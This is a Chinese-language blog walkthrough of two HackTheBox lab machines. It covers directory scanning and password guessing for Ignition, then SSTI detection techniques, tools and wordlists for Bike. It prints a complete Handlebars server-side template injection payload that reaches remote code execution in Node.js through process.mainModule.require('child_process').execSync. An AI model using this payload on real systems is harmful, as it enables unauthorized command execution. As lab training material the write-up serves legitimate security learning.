HTB靶场:Ignition & Bike(Node.js与SSTI)

Ignition

  1. 通过目录扫描发现admin页面

经过测试,发现不能通过爆破的方式寻找密码,因为设置错误次数不超过5次。并且密码不少于8位 包含字母和数字

使用top10密码进行手动测试


Bike

  1. 扫描(需求:扫描版本号相关信息)

nmap -sC -sV -Pn <IP>

必须-sC -sV叠加使用,指定端口后也无法扫描出版本号,具体原因不详

  1. 网站服务相关信息(Express——使用的最多的Node.js框架)

包括node.js和python 在建站的时候,可能涉及到模板引擎,将数据传递给HTML渲染成网页;因此可以确认模板引擎 => 确认模板的常见payload => 服务器端模板注入(SSTI)

SSTI

SSTI中常见字符:> ${{<%[%'"}}%\

确认SSTI:
  1. 引起报错,提示模板引擎

  2. 回显与预期效果不同(部分缺少),这意味着服务器处理它的方式与常规数据不同

  3. 纯文本/表达式测试:{{7*7}}${7*7} 观察服务器对数学运算的响应,有助于查明特定的模板引擎。

  4. 代码测试:更改输入参数,查看服务器的输出是动态的还是固定的。例如:?greeting=data.username?greeting=data.username}}hello

检测工具:
  1. TInjA

  2. SSTImap

  3. Tplmap

  4. Template Injection Table

相关字典:
  1. https://github.com/danielmiessler/SecLists/blob/master/Fuzzing/template-engines-special-vars.txt

  2. https://github.com/danielmiessler/SecLists/blob/25d4ac447efb9e50b640649f1a09023e280e5c9c/Discovery/Web-Content/burp-parameter-names.txt

SSTI涉及到的相关模板

(还包括Java、PHP等)

https://book.hacktricks.xyz/pentesting-web/ssti-server-side-template-injection

  1. 开始测试模板

根据报错信息,得到模板为handlebars

  1. 尝试使用handlebars的payload
    {{#with "s" as |string|}} {{#with "e"}} {{#with split as |conslist|}} {{this.pop}} {{this.push (lookup string.sub "constructor")}} {{this.pop}} {{#with string.split as |codelist|}} {{this.pop}} {{this.push "return require('child_process').exec('whoami');"}} {{this.pop}} {{#each conslist}} {{#with (string.sub.apply 0 codelist)}} {{this}} {{/with}} {{/each}} {{/with}} {{/with}} {{/with}}{{/with}}

  2. 改包,同时将payload中的特殊字符用URL编码

得到提示信息:未定义require;然后在payload中找关联代码部分,也是payload中关键执行的命令:{{this.push "return require('child_process').exec('whoami');"}}。因此,需要寻找require以外的方法/关键字替换它。

错误信息中提到的未定义require,与全局变量有关,由于require并非默认的全局变量,导致出现语法错误。除全局变量(global objects)外,类似概念还有内置对象(build-in objects)。

在Node.js中,全局变量并非传统意义上范围最大的变量名称

内置对象有:
* __dirname
* __filename
* exports
* module
* require()
  1. 第二次改包(process对象)

主要将{{this.push "return require('child_process').exec('whoami');"}}换成{{this.push "return process;"}}

同时;响应无报错,也可以看到 [object process] 已被包含。这意味着 process 对象确实可用。继续研究process文档,发现process有一个 mainModule 属性。此属性返回一个包含 main 模块引用的对象。(该属性被弃用但未完全消失)

如果使用 mainModule 属性直接加载 main 函数,进而加载 require。就可以达到RCE

  1. 尝试调用 require 并加载 child_process 模块(child_process在Node.js中默认安装,并且可以用于RCE)

主要将{{this.push "return process;"}}换成了{{this.push "return process.mainModule.require('child_process').execSync('whoami');"}}

  1. 拿到flag

本文作者:ki-playground

本文链接:https://www.cnblogs.com/hackthebox/p/18418156

版权声明:本作品采用知识共享署名-非商业性使用-禁止演绎 2.5 中国大陆许可协议进行许可。

posted @   柯ili  阅读(30)  评论(0编辑  收藏  举报
点击右上角即可分享
微信分享提示
💬
评论
📌
收藏
💗
关注
👍
推荐
🚀
回顶
收起
  1. 1 404 not found REOL
404 not found - REOL
00:00 / 00:00
An audio error has occurred.